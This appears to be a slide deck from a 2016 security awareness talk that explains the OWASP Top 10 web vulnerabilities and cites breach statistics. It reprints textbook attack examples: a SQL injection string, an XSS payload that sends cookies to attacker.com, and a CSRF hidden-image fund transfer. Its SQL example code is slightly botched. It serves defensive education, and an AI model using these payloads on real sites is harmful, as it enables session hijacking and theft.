Top 10 Web Application Vulnerabilities

Why you should care about them...plus a FREE live hacking demo!
Why should you care?

Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure.

(Source: OWASP Top 10 2013, p.2)
Percentage (blue bar), and count of breaches per pattern. The gray line represents the percentage of breaches from the 2015 DBIR. (n=2,260).

(Source: Verizon DBIR 2016)
Web application attacks account for

82% of confirmed breaches in the Financial Services sector
57% of confirmed breaches in the Information sector
50% of confirmed breaches in the Entertainment sector

(Source: Verizon DBIR 2016)
In 2015, there were almost **20,000 incidents** of websites that were compromised and used to either host malware, participate in distributed denial-of-service (DDoS) attacks or repurposed as a phishing site.

(Source: Verizon DBIR 2016)
Open-source and third-party components introduce an average 24 vulnerabilities into enterprise web applications, code analysis company Veracode has found.

(Source: Computer Weekly, A. Wickford, Oct 2014)
Cyber threat actors continue to exploit unpatched software to conduct attacks against critical infrastructure organizations. As many as 85 percent of targeted attacks are preventable.

(Source: US-Cert, TA15-119A)
Atop this year's [CWE]* list are SQL injection flaws, which are the most serious due to their common nature and the ease and frequency of exploit online. Other top vulnerabilities include operating system command injection, classic buffer overflow, and cross-site scripting.

(Source: Dark Reading, “Feds Identify Top 25 Software Vulnerabilities”)

*Common Weakness Enumeration
So we all agree this is a problem, right?
Good news,

there is a solution!
What is OWASP?

• Open Web Application Security Project
• Worldwide, not-for-profit 501(c)(3)

www.owasp.org

“Our mission is to make software security visible, so that individuals and organizations are able to make informed decisions.”
OWASP Top 10 Project

• A list of the 10 most critical web application security risks
• Version 1 released in 2003
• Current version published in 2013

• OWAP Top 10 is an awareness document
  – NOT a standard
  – But it is cited by many other organizations
– Focus on risks, not just vulnerabilities
drum roll please...
OWASP Top 10 for 2013

A1 – Injection
A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References
A5 – Security Misconfiguration
A6 – Sensitive Data Exposure
A7 – Missing Function Level Access Control
A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards
I’m not a computer geek, what does all this mean?
A1 - Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query.

The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
Example Attack

The application uses untrusted data in the construction of the following vulnerable SQL call:

```java
String query = "SELECT * FROM accounts WHERE custID=" + request.getParameter("id") + "]";
```

What if the attacker modifies the ‘id’ parameter value in his browser to send: ' or 1=1’. For example:

```java
String query = "SELECT * FROM accounts WHERE custID=" + request.getParameter("'or 1=1'") + "]";
```

This changes the meaning of the query to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.
Why does it work?

Because 1 always equals 1!

Special characters, like ; = ‘ are not removed (escaped) from the query.
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.
Scenario #1:
Airline reservations application supports URL rewriting, putting session IDs in the URL:

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and stored credit card information.

(Free vacation to Hawaii)
Scenario #2:
Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away.

Attacker uses the same browser an hour later, and that browser is still authenticated.
A3 – Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Example Attack

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT' value='' + request.getParameter("CC") + ">";

The attacker modifies the ‘CC’ parameter in his browser to:

''><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo=('+document.cookie</script>'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Why does it work?

The browser will automatically load the site contained in the `<script>` tags, and the website allows it to run!
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
Example Attack

The application allows a user to submit a state changing request that does not include anything secret. For example:

```
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
```

Attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control:

```
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
```

If the victim visits any of the attacker’s sites while he is already authenticated to `example.com`, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
Why does it work?

Simple parameter manipulation; and the target site doesn’t validate each request with an unpredictable token.
# Live Hacking Demo

**Production**

<table>
<thead>
<tr>
<th>Roll</th>
<th>Scene</th>
<th>Take</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><strong>Hacking Demo</strong></td>
<td>45</td>
</tr>
</tbody>
</table>

**Director**  
Stuart Smith

**Camera**

**Date**  
August 2016
## Evolution of the Top 10

<table>
<thead>
<tr>
<th>Ranking</th>
<th>2007</th>
<th>2010</th>
<th>2013</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Cross Site Scripting (XSS)</td>
<td>Injection</td>
<td>Injection</td>
</tr>
<tr>
<td>2</td>
<td>Injection Flaws</td>
<td>Cross Site Scripting (XSS)</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>3</td>
<td>Malicious File Execution</td>
<td>Broken Authentication and Session Management</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>4</td>
<td>Insecure Direct Object Reference</td>
<td>Insecure Direct Object References</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>5</td>
<td>Cross Site Request Forgery (CSRF)</td>
<td>Cross Site Request Forgery (CSRF)</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>6</td>
<td>Information Leakage and Improper Error Handling</td>
<td>Security Misconfiguration</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>7</td>
<td>Broken Authentication and Session Management</td>
<td>Insecure Cryptographic Storage</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td>8</td>
<td>Insecure Cryptographic Storage</td>
<td>Failure to Restrict URL Access</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>9</td>
<td>Insecure Communications</td>
<td>Insufficient Transport Layer Protection</td>
<td>Using Known Vulnerable Components</td>
</tr>
<tr>
<td>10</td>
<td>Failure to Restrict URL Access</td>
<td>Unvalidated Redirects and Forwards</td>
<td>Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>
Action Steps

1. Web application vulnerability scanners
   – Commercial tools
   – Open source tools

2. Secure Coding Awareness for developers
   – OWASP has great resources

3. Static Code Analysis tools
   (See #1 above)
Final Thoughts

• OWASP Top 10 is not the end-all
• Defense in depth!

• Mobile is a growing threat

OWASAP Top 10 Mobile:
https://www.owasp.org/index.php/Mobile#tab=Top_10_Mobile_Risks
QUESTIONS?